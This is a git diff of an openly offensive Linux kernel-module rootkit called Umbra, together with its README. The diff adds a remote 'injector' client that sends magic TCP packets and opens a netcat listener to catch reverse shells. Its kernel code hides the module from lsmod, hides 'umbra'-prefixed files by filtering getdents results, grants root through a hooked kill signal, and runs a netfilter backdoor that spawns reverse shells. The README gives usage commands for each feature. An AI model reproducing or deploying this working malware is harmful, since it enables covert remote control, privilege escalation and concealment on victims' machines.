diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..5c5caef
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,8 @@
+.vscode
+client/client.o
+kernel/*.*
+kernel/src/*.*
+!kernel/src/*.c
+!kernel/*.c
+
+
diff --git a/README.md b/README.md
index 116ce7e..d491671 100644
--- a/README.md
+++ b/README.md
@@ -3,31 +3,46 @@
![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/h3xduck/Umbra)
![GitHub last commit](https://img.shields.io/github/last-commit/h3xduck/Umbra)
-# Umbra
+# Umbra
Umbra (/ˈʌmbrə/) is an experimental LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that spawns reverse shells to remote hosts and more.
The rootkit is still under development, although the features listed below are already fully operational.
-![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbrabackdoor.gif)
+![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra3.gif)
Note: This rootkit has been developed and tested using kernel 5.4.0 and Ubuntu 18.04.
## Features
-* **NEW**: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet.
+* :star2: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet.
* Privilege escalation by sending signal 50.
* Spawn netcat reverse shell on module load.
* Spawn netcat reverse shell to a remote host by sending signal 51.
+* **NEW**: Added the *Umbra Injector* to control the rootkit remotely:
+ * Remote reverse shell.
+ * Hide/unhide rootkit remotely.
+
+
+
+* **NEW**: Umbra hides all its files and directories from user commands such as *ls*.
+* **NEW**: Umbra can hide/unhide itself remotely and locally via signals.
More functionalities will come in later updates.
## Disclaimer
This rookit is **purely for educational purposes**. I am not responsible for any damage resulting from its unintended use.
-Also bear in mind that Umbra does not incorporate any rootkit hiding or protection mechanisms yet.
+Also bear in mind that Umbra only incorporates light hiding and protection mechanisms. It is **not** intended to be used on a real scenario.
**IMPORTANT:** If you are going to test this rootkit in your own machine, I *strongly recommend* to use a VM.
+## Table of Contents
+1. [Build and Install](#build-and-install)
+2. [Unloading Umbra](#unloading-umbra)
+3. [Local Control](#basic-usage-local-control)
+4. [Remote Control](#umbra-injector-remote-control)
+5. [References](#references)
+
## Build and install
Remember that you should have a 4.x or 5.x kernel available.
1. Download your kernel header files
@@ -55,7 +70,7 @@ sudo insmod ./umbra.ko
sudo rmmod umbra
```
-## Usage
+## Basic Usage: Local control
### Change current user privileges to root
* Send signal 50 to any PID.
```
@@ -77,21 +92,49 @@ kill -51 1
Note: Umbra also tries to start the reverse shell on load.
-### **NEW**: Spawn reverse shell via backdoor
+### Spawn reverse shell via backdoor
Any host can get a reverse shell by sending a specially-crafted packet to a machine infected with Umbra. The backdoor will try to open the shell on IP:5888, where IP is the IP address of the attacking machine.
-You can look at the code to know how to build your own packet, but I also provide a client which will do the job for you. You can download the client from [latest releases](https://github.com/h3xduck/Umbra/releases/), or you can build your own using my library [RawTCP](https://github.com/h3xduck/RawTCP_Lib).
+The backdoor listens for packets with the following payload:
+`UMBRA_PAYLOAD_GET_REVERSE_SHELL`
+, but I also provide a client which will do the job for you. You can download the client from [latest releases](https://github.com/h3xduck/Umbra/releases/), or you can build your own using my library [RawTCP](https://github.com/h3xduck/RawTCP_Lib).
-The client is run as follows:
+### Hide the rootkit - Invisible mode
+This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*.
+```
+kill -52 1
+```
+### Unhide the rootkit
+This reverts the invisible mode if active.
```
-./client
+./client -53 127.0.0.1
```
-Where the attacker ip will be used by the backdoor to connect the reverse shell and the victim ip is the one of the machine infected with Umbra.
+## Umbra Injector: Remote control
+### **NEW**: Get reverse shell
+The program can be run either before Umbra is installed (thus waiting until it is), or after Umbra is installed on the target system.
+```
+./client -S 127.0.0.1
+```
+### **NEW**: Hide the rootkit remotely - Invisible mode
+This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*.
+```
+./client -i 127.0.0.1
+```
+### **NEW**: Unhide the rootkit remotely
+This reverts the invisible mode if active.
+```
+./client -u 127.0.0.1
+```
+### Help
+You can see the full information on how to run the client by:
+```
+./client -h
+```
diff --git a/client/Makefile b/client/Makefile
new file mode 100644
index 0000000..a8af113
--- /dev/null
+++ b/client/Makefile
@@ -0,0 +1,16 @@
+CC = gcc
+HEADERS = lib/RawTCP.h
+EXTRA_CFLAGS= -I$(PWD)/lib
+
+default:
+ make client
+
+client.o: client.c $(HEADERS)
+ gcc -c client.c
+
+client: client.o lib/libRawTCP_Lib.a
+ gcc -lm -o client client.o -L. lib/libRawTCP_Lib.a
+
+clean:
+ -rm -f client.o
+ -rm -f client
diff --git a/client/client b/client/client
index 3024d2b..ad9d130 100755
Binary files a/client/client and b/client/client differ
diff --git a/client/client.c b/client/client.c
index 6fa2bb0..b4a79ed 100644
--- a/client/client.c
+++ b/client/client.c
@@ -1,20 +1,220 @@
-#include "../lib/RawTCP.h"
+#include "lib/RawTCP.h"
#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
-void main(int argc, char* argv[]){
- if(argc<3){
- printf("Invalid number of arguments\n");
- printf("Usage: client , \n");
- return;
+// For printing with colors
+#define KGRN "\x1B[32m"
+#define KYLW "\x1B[33m"
+#define KBLU "\x1B[34m"
+#define KMGN "\x1B[35m"
+#define KRED "\x1B[31m"
+#define RESET "\x1B[0m"
+
+void print_welcome_message(){
+ printf("*******************************************************\n");
+ printf("************* Umbra Injector *************************\n");
+ printf("*******************************************************\n");
+ printf("************ https://github.com/h3xduck/Umbra *********\n");
+ printf("*******************************************************\n");
+}
+
+void print_help_dialog(const char* arg){
+ printf("\nUsage: %s [OPTION] victim_IP\n\n", arg);
+ printf("Program OPTIONs\n");
+ char* line = "-S victim_IP";
+ char* desc = "Get a remote shell to victim_IP";
+ printf("\t%-50s %-50s\n\n", line, desc);
+ line = "-u victim_IP";
+ desc = "Unhide the rootkit remotely from the host";
+ printf("\t%-50s %-50s\n\n", line, desc);
+ line = "-i victim_IP";
+ desc = "Hide the rootkit remotely from the host";
+ printf("\t%-50s %-50s\n\n", line, desc);
+ line = "\nProgram options";
+ printf("\t%-50s\n", line);
+ line = "-h";
+ desc = "Print this help";
+ printf("\t%-50s %-50s\n\n", line, desc);
+
+}
+
+void check_ip_address_format(char* address){
+ char* buf[256];
+ int s = inet_pton(AF_INET, address, buf);
+ if(s<0){
+ printf("["KYLW"WARN"RESET"]""Error checking IP validity\n");
+ }else if(s==0){
+ printf("["KYLW"WARN"RESET"]""The victim IP is probably not valid\n");
+ }
+}
+
+char* getLocalIpAddress(){
+ char hostbuffer[256];
+ char* IPbuffer = calloc(256, sizeof(char));
+ struct hostent *host_entry;
+ int hostname;
+
+ hostname = gethostname(hostbuffer, sizeof(hostbuffer));
+ if(hostname==-1){
+ perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostname");
+ exit(1);
}
- packet_t packet = build_standard_packet(9000, 9000, argv[1], argv[2], 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL");
- printf("Sending malicious packet to infected machine...\n");
+
+ host_entry = gethostbyname(hostbuffer);
+ if(host_entry == NULL){
+ perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostbyname");
+ exit(1);
+ }
+
+ // To convert an Internet network
+ // address into ASCII string
+ strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));
+
+ printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s\n", IPbuffer);
+
+ return IPbuffer;
+}
+
+
+void get_shell(char* argv){
+ char* local_ip = getLocalIpAddress();
+ printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
+ check_ip_address_format(argv);
+ packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL");
+ printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
+
+ pid_t pid;
+ pid = fork();
+ if(pid < 0){
+ perror("["KRED"ERROR"RESET"]""Could not create another process");
+ return;
+ }else if(pid==0){
+ sleep(1);
+ //Sending the malicious payload
+ if(rawsocket_send(packet)<0){
+ printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
+ }else{
+ printf("["KGRN"OK"RESET"]""Payload successfully sent!\n");
+ }
+
+ }else {
+ //Activating listener
+ char *cmd = "nc";
+ char *argv[3];
+ argv[0] = "nc";
+ argv[1] = "-lvp";
+ argv[2] = "5888";
+ argv[3] = NULL;
+
+ printf("["KBLU"INFO"RESET"]""Trying to get a shell...\n");
+ if(execvp(cmd, argv)<0){
+ perror("["KRED"ERROR"RESET"]""Error executing background listener");
+ return;
+ }
+ printf("["KGRN"OK"RESET"]""Got a shell\n");
+ }
+
+ free(local_ip);
+}
+
+void show_rootkit(char* argv){
+ char* local_ip = getLocalIpAddress();
+ printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
+ check_ip_address_format(argv);
+ packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_SHOW_ROOTKIT");
+ printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
+ //Sending the malicious payload
if(rawsocket_send(packet)<0){
- printf("An error occured. Is the machine up?\n");
+ printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
}else{
- printf("Finished!\n");
+ printf("["KGRN"OK"RESET"]""Request to unhide successfully sent!\n");
+ }
+ free(local_ip);
+}
+
+void hide_rootkit(char* argv){
+ char* local_ip = getLocalIpAddress();
+ printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
+ check_ip_address_format(argv);
+ packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_HIDE_ROOTKIT");
+ printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
+ //Sending the malicious payload
+ if(rawsocket_send(packet)<0){
+ printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
+ }else{
+ printf("["KGRN"OK"RESET"]""Request to hide successfully sent!\n");
+ }
+ free(local_ip);
+}
+
+
+void main(int argc, char* argv[]){
+ if(argc<2){
+ printf("["KRED"ERROR"RESET"]""Invalid number of arguments\n");
+ print_help_dialog(argv[0]);
+ return;
}
+
+ int opt;
+ char dest_address[32];
+ //Command line argument parsing
+ while ((opt = getopt(argc, argv, ":S:u:i:h")) != -1) {
+ switch (opt) {
+ case 'S':
+ print_welcome_message();
+ sleep(1);
+ //Get a shell mode
+ printf("["KBLU"INFO"RESET"]""Activated GET a SHELL mode\n");
+ //printf("Option S has argument %s\n", optarg);
+ strcpy(dest_address, optarg);
+ get_shell(dest_address);
+
+ break;
+ case 'u':
+ print_welcome_message();
+ sleep(1);
+ //Selecting show rootkit - Unhide mode
+ printf("["KBLU"INFO"RESET"]""Selected UNHIDE the rootkit remotely\n");
+ //printf("Option m has argument %s\n", optarg);
+ strcpy(dest_address, optarg);
+ show_rootkit(dest_address);
+
+ break;
+ case 'i':
+ print_welcome_message();
+ sleep(1);
+ //Selecting hide rootkit - Invisible mode
+ printf("["KBLU"INFO"RESET"]""Selected HIDE the rootkit remotely\n");
+ //printf("Option m has argument %s\n", optarg);
+ strcpy(dest_address, optarg);
+ hide_rootkit(dest_address);
+
+ break;
+ case 'h':
+ print_help_dialog(argv[0]);
+ exit(0);
+ break;
+ case '?':
+ printf("["KRED"ERROR"RESET"]""Unknown option: %c\n", optopt);
+ break;
+ case ':':
+ printf("["KRED"ERROR"RESET"]""Missing arguments for %c\n", optopt);
+ exit(EXIT_FAILURE);
+ break;
+
+ default:
+ print_help_dialog(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
}
\ No newline at end of file
diff --git a/client/lib/RawTCP.h b/client/lib/RawTCP.h
new file mode 100644
index 0000000..30e7177
--- /dev/null
+++ b/client/lib/RawTCP.h
@@ -0,0 +1,35 @@
+#ifndef HEADER_RAWTCP_LIB
+#define HEADER_RAWTCP_LIB
+
+#include
+
+//Packet_t structure
+typedef struct packet_t{
+ struct iphdr *ipheader;
+ struct tcphdr *tcpheader;
+ char *payload;
+ int payload_length;
+ char* packet;
+}packet_t;
+
+//PacketForger headers
+packet_t build_standard_packet(
+ u_int16_t source_port,
+ u_int16_t destination_port,
+ const char* source_ip_address,
+ const char* destination_ip_address,
+ u_int32_t packet_length,
+ char* payload
+ );
+
+int packet_destroy(packet_t packet);
+
+int set_TCP_flags(packet_t packet, int hex_flags);
+
+//SocketManager headers
+int rawsocket_send(packet_t packet);
+
+packet_t rawsocket_sniff();
+
+
+#endif
\ No newline at end of file
diff --git a/client/lib/libRawTCP_Lib.a b/client/lib/libRawTCP_Lib.a
new file mode 100644
index 0000000..6f3017c
Binary files /dev/null and b/client/lib/libRawTCP_Lib.a differ
diff --git a/images/umbra3.gif b/images/umbra3.gif
new file mode 100644
index 0000000..00df281
Binary files /dev/null and b/images/umbra3.gif differ
diff --git a/images/umbraicon.png b/images/umbraicon.png
new file mode 100644
index 0000000..79a70d0
Binary files /dev/null and b/images/umbraicon.png differ
diff --git a/images/umbraicon2.png b/images/umbraicon2.png
new file mode 100644
index 0000000..28b505e
Binary files /dev/null and b/images/umbraicon2.png differ
diff --git a/images/umbrainjector.png b/images/umbrainjector.png
new file mode 100644
index 0000000..b850ffc
Binary files /dev/null and b/images/umbrainjector.png differ
diff --git a/Makefile b/kernel/Makefile
similarity index 85%
rename from Makefile
rename to kernel/Makefile
index 773dc94..ccf79cc 100644
--- a/Makefile
+++ b/kernel/Makefile
@@ -5,7 +5,6 @@ umbra-objs := main.o src/ftrace_manager.o src/creds_manager.o src/hookers.o src
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
- gcc client/client.c lib/libRawTCP_Lib.a -o client/client
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
\ No newline at end of file
diff --git a/include/CONFIG.h b/kernel/include/CONFIG.h
similarity index 100%
rename from include/CONFIG.h
rename to kernel/include/CONFIG.h
diff --git a/include/creds_manager.h b/kernel/include/creds_manager.h
similarity index 100%
rename from include/creds_manager.h
rename to kernel/include/creds_manager.h
diff --git a/include/ftrace_manager.h b/kernel/include/ftrace_manager.h
similarity index 100%
rename from include/ftrace_manager.h
rename to kernel/include/ftrace_manager.h
diff --git a/include/hookers.h b/kernel/include/hookers.h
similarity index 59%
rename from include/hookers.h
rename to kernel/include/hookers.h
index e79f5de..b336c4f 100644
--- a/include/hookers.h
+++ b/kernel/include/hookers.h
@@ -6,6 +6,9 @@
#include
#include
#include
+#include
+#include
+#include
#include "ftrace_manager.h"
#include "creds_manager.h"
@@ -13,6 +16,10 @@
// Syscalls to be hooked using frace
#define SIGNAL_KILL_HOOK 50
#define SIGNAL_REVERSE_SHELL 51
+#define SIGNAL_HIDE_KERNEL_MODULE 52
+#define SIGNAL_SHOW_KERNEL_MODULE 53
+
+#define UMBRA_DIRECTORY_PREFIX "umbra"
//Hooking mkdir
asmlinkage int hook_mkdir(const struct pt_regs *regs);
@@ -22,6 +29,15 @@ asmlinkage int hook_mkdir(const struct pt_regs *regs);
asmlinkage int hook_kill(const struct pt_regs *regs);
+//Hooking getdents for ls
+asmlinkage int hook_getdents64(const struct pt_regs *regs);
+
+
+//Functions for hiding and showing the rootkit
+void hide_rootkit(void);
+void show_rootkit(void);
+
+
void remove_all_hooks(void);
int install_all_hooks(void);
diff --git a/include/netfilter_manager.h b/kernel/include/netfilter_manager.h
similarity index 100%
rename from include/netfilter_manager.h
rename to kernel/include/netfilter_manager.h
diff --git a/include/utils.h b/kernel/include/utils.h
similarity index 100%
rename from include/utils.h
rename to kernel/include/utils.h
diff --git a/main.c b/kernel/main.c
similarity index 100%
rename from main.c
rename to kernel/main.c
diff --git a/src/creds_manager.c b/kernel/src/creds_manager.c
similarity index 100%
rename from src/creds_manager.c
rename to kernel/src/creds_manager.c
diff --git a/src/ftrace_manager.c b/kernel/src/ftrace_manager.c
similarity index 100%
rename from src/ftrace_manager.c
rename to kernel/src/ftrace_manager.c
diff --git a/kernel/src/hookers.c b/kernel/src/hookers.c
new file mode 100644
index 0000000..dd985b5
--- /dev/null
+++ b/kernel/src/hookers.c
@@ -0,0 +1,207 @@
+#include "../include/hookers.h"
+#include "../include/utils.h"
+#include "../include/CONFIG.h"
+
+asmlinkage long (*orig_mkdir)(const struct pt_regs*);
+asmlinkage int hook_mkdir(const struct pt_regs *regs){
+ char __user *pathname = (char *)regs->di;
+
+ char dir_name[NAME_MAX] = {0};
+ long err;
+
+ printk(KERN_INFO "UMBRA:: mkdir hooked x64!");
+ //Getting pathname from userspace, which is out of our module address space
+ err = strncpy_from_user(dir_name, pathname, NAME_MAX);
+ // Returns -EFAULT if error, number of copied bytes otherwise
+ if (err>0){
+ printk(KERN_INFO "UMBRA:: Detected mkdir %s\n", dir_name);
+ }
+
+ orig_mkdir(regs);
+ return 0;
+}
+
+
+
+//Keep track of whether the rootkit is hidden or not
+static int rootkit_visibility = 1;
+//Previous module on kernel module list, to remember the original position in case we remove it
+static struct list_head *prev_module;
+
+void hide_rootkit(void){
+ //Removing the rootkit from the linked list of modules maintained by the kernel
+ printk(KERN_INFO "UMBRA:: Module hidden.\n");
+ prev_module = THIS_MODULE->list.prev;
+ list_del(&THIS_MODULE->list);
+ rootkit_visibility = 0; //hidden
+}
+
+void show_rootkit(void){
+ //Adding the rootkit to the linked list of modules maintained by the kernel
+ printk(KERN_INFO "UMBRA:: Module visible.\n");
+ list_add(&THIS_MODULE->list, prev_module);
+ rootkit_visibility = 1;//visible
+}
+
+asmlinkage long (*orig_kill)(const struct pt_regs*);
+asmlinkage int hook_kill(const struct pt_regs *regs){
+ void set_root(void);
+ int sig = regs->si;
+
+ //If SIGNAL_KILL_HOOK, grant root privileges
+ if (sig == SIGNAL_KILL_HOOK){
+ printk(KERN_INFO "UMBRA:: Giving root privileges.\n");
+ change_self_privileges_to_root();
+ return orig_kill(regs);
+ }else if(sig == SIGNAL_REVERSE_SHELL){
+ start_reverse_shell(REVERSE_SHELL_IP, REVERSE_SHELL_PORT);
+ }else if(sig == SIGNAL_SHOW_KERNEL_MODULE){
+ if(rootkit_visibility == 1){
+ printk(KERN_INFO "UMBRA:: Requested visibility, but already visible.\n");
+ return orig_kill(regs);
+ }
+ show_rootkit();
+ }else if(sig == SIGNAL_HIDE_KERNEL_MODULE){
+ if(rootkit_visibility == 0){
+ printk(KERN_INFO "UMBRA:: Requested hiding, but already hidden.\n");
+ return orig_kill(regs);
+ }
+ hide_rootkit();
+ }
+
+ return orig_kill(regs);
+}
+
+static asmlinkage long (*orig_getdents64)(const struct pt_regs *);
+asmlinkage int hook_getdents64(const struct pt_regs *regs){
+ struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
+ struct linux_dirent64 *prev_dir, *current_dir, *dirent_ker = NULL;
+ long err;
+ int ret;
+
+ //Offset to address each of the directories in dirent struct.
+ unsigned long offset = 0;
+
+ //Real getdents function, now we modify the results for our convenience
+ //Allocate a buffer for use to operate with
+ ret = orig_getdents64(regs);
+ dirent_ker = kzalloc(ret, GFP_KERNEL);
+ if (ret<=0 || dirent_ker==NULL){
+ return ret;
+ }
+
+ //Copy original buffer to the buffer we will manipulate
+ err = copy_from_user(dirent_ker, dirent, ret);
+ if(err){
+ kfree(dirent_ker);
+ return ret;
+ }
+
+ //iterate through all directories
+ while (offset < ret){
+ current_dir = (void *)dirent_ker + offset;
+
+ //Check if directory/file contains the umbra prefix
+ if(memcmp(UMBRA_DIRECTORY_PREFIX, current_dir->d_name, strlen(UMBRA_DIRECTORY_PREFIX))==0){
+ //Special case directory/file is the first
+ if(current_dir == dirent_ker){
+ ret -= current_dir->d_reclen;
+ memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
+ continue;
+ }
+ //We hide this entry by incrementing the rec_len field, now pointing to the next entry
+ prev_dir->d_reclen += current_dir->d_reclen;
+ printk(KERN_INFO "UMBRA:: Skipped over secret entry.\n");
+ }else{
+ prev_dir = current_dir;
+ }
+ //Next entry
+ offset += current_dir->d_reclen;
+ }
+ err = copy_to_user(dirent, dirent_ker, ret);
+ if(err){
+ kfree(dirent_ker);
+ }
+
+ return ret;
+}
+
+//Defining the same getdents hook but for x32 systems.
+//I've found that some x64 systems also call getdents and not getdents64 with ls for some reason
+//You can check it with strace ls
+struct linux_dirent {
+ unsigned long d_ino;
+ unsigned long d_off;
+ unsigned short d_reclen;
+ char d_name[];
+};
+static asmlinkage long (*orig_getdents)(const struct pt_regs *);
+asmlinkage int hook_getdents(const struct pt_regs *regs){
+ struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
+ struct linux_dirent *prev_dir, *current_dir, *dirent_ker = NULL;
+ long err;
+ int ret;
+
+ //Offset to address each of the directories in dirent struct.
+ unsigned long offset = 0;
+
+ //Real getdents function, now we modify the results for our convenience
+ //Allocate a buffer for use to operate with
+ ret = orig_getdents(regs);
+ dirent_ker = kzalloc(ret, GFP_KERNEL);
+ if (ret<=0 || dirent_ker==NULL){
+ return ret;
+ }
+
+ //Copy original buffer to the buffer we will manipulate
+ err = copy_from_user(dirent_ker, dirent, ret);
+ if(err){
+ kfree(dirent_ker);
+ return ret;
+ }
+
+ //iterate through all directories
+ while (offset < ret){
+ current_dir = (void *)dirent_ker + offset;
+
+ //Check if directory/file contains the umbra prefix
+ if(memcmp(UMBRA_DIRECTORY_PREFIX, current_dir->d_name, strlen(UMBRA_DIRECTORY_PREFIX))==0){
+ //Special case directory/file is the first
+ if(current_dir == dirent_ker){
+ ret -= current_dir->d_reclen;
+ memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
+ continue;
+ }
+ //We hide this entry by incrementing the rec_len field, now pointing to the next entry
+ prev_dir->d_reclen += current_dir->d_reclen;
+ printk(KERN_INFO "UMBRA:: Skipped over secret entry.\n");
+ }else{
+ prev_dir = current_dir;
+ }
+ //Next entry
+ offset += current_dir->d_reclen;
+ }
+ err = copy_to_user(dirent, dirent_ker, ret);
+ if(err){
+ kfree(dirent_ker);
+ }
+ return ret;
+}
+
+
+
+// Syscalls to be hooked using frace
+struct ftrace_hook hooks[] = {
+ //HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
+ HOOK("sys_kill", hook_kill, &orig_kill),
+ HOOK("sys_getdents64", hook_getdents64, &orig_getdents64),
+ HOOK("sys_getdents", hook_getdents, &orig_getdents)
+};
+
+void remove_all_hooks(void){
+ remove_hooks_set(hooks, ARRAY_SIZE(hooks));
+}
+
+int install_all_hooks(void){
+ return install_hooks_set(hooks, ARRAY_SIZE(hooks));
+}
\ No newline at end of file
diff --git a/src/netfilter_manager.c b/kernel/src/netfilter_manager.c
similarity index 82%
rename from src/netfilter_manager.c
rename to kernel/src/netfilter_manager.c
index 9876030..7d0adb6 100644
--- a/src/netfilter_manager.c
+++ b/kernel/src/netfilter_manager.c
@@ -1,13 +1,16 @@
#include "../include/netfilter_manager.h"
#include "../include/utils.h"
#include "../include/CONFIG.h"
+#include "../include/hookers.h"
const char* UMBRA_BACKDOOR_KEY = "UMBRA_PAYLOAD_GET_REVERSE_SHELL";
+const char* UMBRA_HIDE_ROOTKIT_KEY = "UMBRA_HIDE_ROOTKIT";
+const char* UMBRA_SHOW_ROOTKIT_KEY = "UMBRA_SHOW_ROOTKIT";
/**
* Inspects incoming packets and check correspondence to backdoor packet:
* Proto: TCP
* Port: 9000
- * Payload: UMBRA_PAYLOAD_GET_REVERSE_SHELL
+ * Payload: UMBRA_PAYLOAD_GET_REVERSE_SHELL (or any other payload of above)
*/
unsigned int net_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){
//Network headers
@@ -74,11 +77,13 @@ unsigned int net_hook(void *priv, struct sk_buff *skb, const struct nf_hook_stat
printk(KERN_DEBUG "data len : %d\ndata : \n", (int)strlen(user_data));
printk(KERN_DEBUG "%s\n", user_data);
- if(strlen(user_data)<31){
+ if(strlen(user_data)<10){
return NF_ACCEPT;
}
-
+
if(memcmp(user_data, UMBRA_BACKDOOR_KEY, strlen(UMBRA_BACKDOOR_KEY))==0){
+ /****BACKDOOR KEY - Open a shell***/
+
//Packet had the secret payload.
printk(KERN_INFO "UMBRA:: Received backdoor packet \n");
//kfree(_data);
@@ -91,9 +96,24 @@ unsigned int net_hook(void *priv, struct sk_buff *skb, const struct nf_hook_stat
start_reverse_shell(ip_source, REVERSE_SHELL_PORT);
//TODO: Hide the backdoor packet to the local system
return NF_DROP;
+ }else if(memcmp(user_data, UMBRA_HIDE_ROOTKIT_KEY, strlen(UMBRA_HIDE_ROOTKIT_KEY))==0){
+ /****HIDE ROOTKIT KEY - Hide the rootkit, remotely***/
+
+ printk(KERN_INFO "UMBRA:: Received order to hide the rootkit \n");
+ hide_rootkit();
+ return NF_DROP;
+
+ }else if(memcmp(user_data, UMBRA_SHOW_ROOTKIT_KEY, strlen(UMBRA_SHOW_ROOTKIT_KEY))==0){
+ /****SHOW ROOTKIT KEY - Show the rootkit, remotely***/
+
+ printk(KERN_INFO "UMBRA:: Received order to unhide the rookit \n");
+ show_rootkit();
+ return NF_DROP;
}
+
+
return NF_ACCEPT;
}
diff --git a/src/utils.c b/kernel/src/utils.c
similarity index 100%
rename from src/utils.c
rename to kernel/src/utils.c
diff --git a/kernel/umbra.mod.c b/kernel/umbra.mod.c
new file mode 100644
index 0000000..621b52f
--- /dev/null
+++ b/kernel/umbra.mod.c
@@ -0,0 +1,64 @@
+#include
+#include
+#include
+#include
+
+BUILD_SALT;
+
+MODULE_INFO(vermagic, VERMAGIC_STRING);
+MODULE_INFO(name, KBUILD_MODNAME);
+
+__visible struct module __this_module
+__section(.gnu.linkonce.this_module) = {
+ .name = KBUILD_MODNAME,
+ .init = init_module,
+#ifdef CONFIG_MODULE_UNLOAD
+ .exit = cleanup_module,
+#endif
+ .arch = MODULE_ARCH_INIT,
+};
+
+#ifdef CONFIG_RETPOLINE
+MODULE_INFO(retpoline, "Y");
+#endif
+
+static const struct modversion_info ____versions[]
+__used __section(__versions) = {
+ { 0xc79d2779, "module_layout" },
+ { 0x2d3385d3, "system_wq" },
+ { 0x8537dfba, "kmalloc_caches" },
+ { 0xeb233a45, "__kmalloc" },
+ { 0x3b825fc1, "commit_creds" },
+ { 0x56470118, "__warn_printk" },
+ { 0x24428be5, "strncpy_from_user" },
+ { 0x2d39b0a7, "kstrdup" },
+ { 0xb44ad4b3, "_copy_to_user" },
+ { 0xc5850110, "printk" },
+ { 0x449ad0a7, "memcmp" },
+ { 0xa7eedcc4, "call_usermodehelper" },
+ { 0x9e423bbc, "unregister_ftrace_function" },
+ { 0xe007de41, "kallsyms_lookup_name" },
+ { 0x3d55a83a, "init_net" },
+ { 0xc02f9176, "nf_register_net_hook" },
+ { 0x611bf0f1, "prepare_creds" },
+ { 0x15301f, "nf_unregister_net_hook" },
+ { 0xc8f162c9, "ftrace_set_filter_ip" },
+ { 0xdecd0b29, "__stack_chk_fail" },
+ { 0x2ea2c95c, "__x86_indirect_thunk_rax" },
+ { 0xbdfb6dbb, "__fentry__" },
+ { 0x26c2e0b5, "kmem_cache_alloc_trace" },
+ { 0x37a0cba, "kfree" },
+ { 0x58f03b99, "register_ftrace_function" },
+ { 0xc5b6f236, "queue_work_on" },
+ { 0x656e4a6e, "snprintf" },
+ { 0xb0e602eb, "memmove" },
+ { 0x362ef408, "_copy_from_user" },
+ { 0x59419f30, "skb_copy_bits" },
+ { 0x88db9f48, "__check_object_size" },
+ { 0xe914e41e, "strcpy" },
+};
+
+MODULE_INFO(depends, "");
+
+
+MODULE_INFO(srcversion, "5238D1FBE1D257DC28CBDE0");
diff --git a/src/hookers.c b/src/hookers.c
deleted file mode 100644
index e0c0390..0000000
--- a/src/hookers.c
+++ /dev/null
@@ -1,53 +0,0 @@
-#include "../include/hookers.h"
-#include "../include/utils.h"
-#include "../include/CONFIG.h"
-
-asmlinkage long (*orig_mkdir)(const struct pt_regs*);
-asmlinkage int hook_mkdir(const struct pt_regs *regs){
- char __user *pathname = (char *)regs->di;
-
- char dir_name[NAME_MAX] = {0};
- long err;
-
- printk(KERN_INFO "UMBRA:: mkdir hooked x64!");
- //Getting pathname from userspace, which is out of our module address space
- err = strncpy_from_user(dir_name, pathname, NAME_MAX);
- // Returns -EFAULT if error, number of copied bytes otherwise
- if (err>0){
- printk(KERN_INFO "UMBRA:: Detected mkdir %s\n", dir_name);
- }
-
- orig_mkdir(regs);
- return 0;
-}
-
-asmlinkage long (*orig_kill)(const struct pt_regs*);
-asmlinkage int hook_kill(const struct pt_regs *regs){
- void set_root(void);
- int sig = regs->si;
-
- //If SIGNAL_KILL_HOOK, grant root privileges
- if (sig == SIGNAL_KILL_HOOK){
- printk(KERN_INFO "UMBRA:: Giving root privileges.\n");
- change_self_privileges_to_root();
- return 0;
- }else if(sig == SIGNAL_REVERSE_SHELL){
- start_reverse_shell(REVERSE_SHELL_IP, REVERSE_SHELL_PORT);
- }
-
- return orig_kill(regs);
-}
-
-// Syscalls to be hooked using frace
-struct ftrace_hook hooks[] = {
- //HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
- HOOK("sys_kill", hook_kill, &orig_kill)
-};
-
-void remove_all_hooks(void){
- remove_hooks_set(hooks, ARRAY_SIZE(hooks));
-}
-
-int install_all_hooks(void){
- return install_hooks_set(hooks, ARRAY_SIZE(hooks));
-}
\ No newline at end of file